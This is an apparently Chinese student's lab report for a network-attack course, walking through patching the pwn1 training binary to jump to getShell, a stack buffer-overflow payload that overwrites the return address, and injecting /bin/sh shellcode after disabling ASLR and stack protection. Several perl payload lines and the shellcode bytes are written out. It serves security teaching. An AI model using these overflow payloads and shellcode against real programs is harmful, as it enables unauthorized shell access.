zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175205侯颖《网络对抗技术》Exp1 PC平台逆向破解

    2019-2020-2 20175205侯颖《网络对抗技术》Exp1 PC平台逆向破解

    基础知识点

    1. 反汇编指令

    objdump -d pwn1 | more

    • object dump 项目导出
    • -d disassemble 反汇编
    • pwn1 文件名
    • | 管道符,把一个命令的标准输出传到另一个命令的标准输入中
    • more 分页显示
    1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP汇编指令的机器码是“90”
    JNE汇编指令的机器码是“75”
    JE 汇编指令的机器码是“74”
    JMP汇编指令的机器码是“eb”
    CMP汇编指令的机器码是“39”

    3.掌握反汇编与十六进制编程器

    • 反汇编指令objdump -d filename
      • object dump 项目导出
      • -d disassemble 反汇编
      • pwn1 文件名
      • | 管道符,把一个命令的标准输出传到另一个命令的标准输入中
      • more 分页显示
      • 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)
    • 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
      • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
      • 输入:%!xxd将显示模式切换为16进制模式;
      • 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。

    4.能正确修改机器指令改变程序执行流程

    • 见任务一

    5.能正确构造payload进行bof攻击

    • 见任务三

    实验步骤

    (一)任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    1. 基本知识点

    • 输入指令objdump -d pwn1 | more反汇编pwn1文件。
    • 机器语言:call————>机器指令:e8
    • call指令后的表示相对偏移地址(小端模式),机器指令用补码表示
    • 执行到call指令,EIP的值为80484ba,即下一条指令的地址
    • EIP的值+相对偏移地址(逆序)=跳转函数的地址(更新EIP)

    2.理清思路

    • 修改相对偏移地址,将函数跳转到部分
    • 当前EIP的值(80484ba)+相对偏移地址(?)=getShell函数地址(804847d)
    • 相对偏移地址 = C3 ff ff ff(小端模式)
    • 因此,跳转到getShell函数只需将e8后面的相对偏移地址改为C3 ff ff ff

    3. 实验步骤

    • 备份原有文件cp pwn1 pwn2

    • 使用vi编辑器编辑pwn2文件

    • 由于pwn2是可执行文件,因此用编辑器打开是乱码显示

    • Esc,输入:%!xxd将显示模式切换为16进制模式

    • 大致分为三列:文件内的相对位置 十六进制表示 ASCII码

    • 使用命令/e8 d7锁定修改位置

    • 输入i进入插入模式,将d7修改为c3

    • 输入:%!xxd -r将十六进制模式转换为原格式

    • 输入:wq保存退出

    • 反汇编验证

    • 运行验证(若发现权限不够可使用chmod abc filename修改权限)

    (二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    1. 理清思路

    • ptr指针的大小为:0x1c,并指向输入的字符串
    • 根据堆栈的结构,在foo函数形成自己的栈帧之前,堆栈顶部存放着返回地址,即主函数call指令下一条指令的地址
    • 若使输入的数据的第33、34、35、36,这四个字节是getShell函数的地址,则就可以覆盖返回地址,出发getShell函数
    • 问题:我认为系统预留的缓冲区应该为28个字节

    2. 实验步骤

    • 使用命令gdb pwn3调试程序,参数r表示运行

    • 若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错

    • 使用info r指令显示寄存器的值

    • getshell函数的地址为:0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为x7dx84x04x08

    • 输入 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    • 使用xxd input查看文件内容

    • 通过管道符|,作为pwn1的输入,格式为(cat input; cat ) | ./pwn3

    • 实验成功,但最后退出3报了一个段错误,不是很懂

    (三)任务三:注入一个自己制作的shellcode并运行这段shellcode。

    1. 准备shellcode

    • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    • 和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。

    2. 攻击思路

    • 攻击思路还是利用缓冲区溢出
    • 同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址
    • 返回地址不再是修改为getshell的地址,而是shellcode的地址
    • 确定shellcode的位置,一般放在EIP之后
    • 构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
    • 在shellcode前加入0x90 0x90这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS(return nops shellcode)模式

    3. 构造要注入的payload

    • Linux下有两种基本构造攻击buf的方法:
      • retaddr+nop+shellcode(一般来说使用RNS的形式)
      • nop+shellcode+retaddr(约束shellcode的大小)
    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    4. 实验步骤

    • 设置堆栈可执行

    execstack -s pwn3 //设置堆栈可执行
    execstack -q pwn3 //查询文件的堆栈是否可执行

    • 关闭地址随机化(若文件权限不够,则输入sudo -s),2为开启,0为关闭
     more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
     echo "0" /proc/sys/kernel/randomize_va_space        //关闭随机化
    

    • 失败案例——nsr
      • 注入一段代码,我们首先构造一个input_shellcode

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    • 使用xxd input_shellcode查看文件内容

    • 通过管道符|,作为pwn3的输入,格式为(cat input_shellcode; cat ) | ./pwn3

    • 在另外一个窗口ps -ef | grep pwn3能看见当前运行pwn3的进程号为3241;

      • 启用gdb调试进程,输入attach 3241动态调试当前进程号进程

      • 使用disassemble foo反编译

      • 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

      • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

      • 再在gdb调试的终端输入c继续运行程序

      • info r esp查看esp寄存器地址

      • x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容

      • 一直往前找,直到出现0x90909090,再改根据shellcode起始位置,更改输入字符串的值

    • 成功案例——rns

      • 注入一段代码,我们首先构造一个input_shellcode

    perl -e 'print "A" x 32;print "x01x02x03x04x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 步骤同上,得出shellcode的起始地址为0xffffd34c+0x00000004=0xffffd350

    • 将注入代码改为

    perl -e 'print "A" x 32;print "x50xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 攻击成功

    总结

    实验收获及感想

           通过这次实验发现,汇编指令的相关知识全还给老师了,很多细小的知识点都遗忘了,但是经过自己动手实践,学习教学视频,及时做相关笔记,这才将忘了的东西慢慢捡回来。
           本次实验我花了将近5个小时完成,对于实验的每一步都尽量去理解掌握其中原理,以前在很多课上都谈到过缓冲区溢出的原理危害等等,这次自己动手实现缓冲区溢出攻击,让我对堆栈的结构有了更深的认识;掌握了在程序加载时,怎么形成栈帧,栈顶指针的变化;在实现函数跳转时,什么参数入栈;理解了堆栈是如何被恶意代码覆盖,覆盖后怎样跳转等等。第一次接触到这样的实验,感觉十分有趣,当自己真的实现缓冲区溢出攻击,还挺激动^-^非常期待接下来的其他实验。

    什么是漏洞?漏洞有什么危害?

    漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

  • 相关阅读:
    快速排序算法(c#)
    NHibernate 中createSqlQuery的执行
    Asp.net页面下客户端按钮提交页面到其他Action
    希尔(插入)排序 c#代码
    Asp.net MVC 中冒号的作用
    Net注册JS的几种方式和区别
    Asp.net MVC 使用json数据格式交互
    DataSet的手工创建
    反射基础
    uva10082 WERTYU
  • 原文地址:https://www.cnblogs.com/orii/p/12394342.html
Copyright © 2011-2022 走看看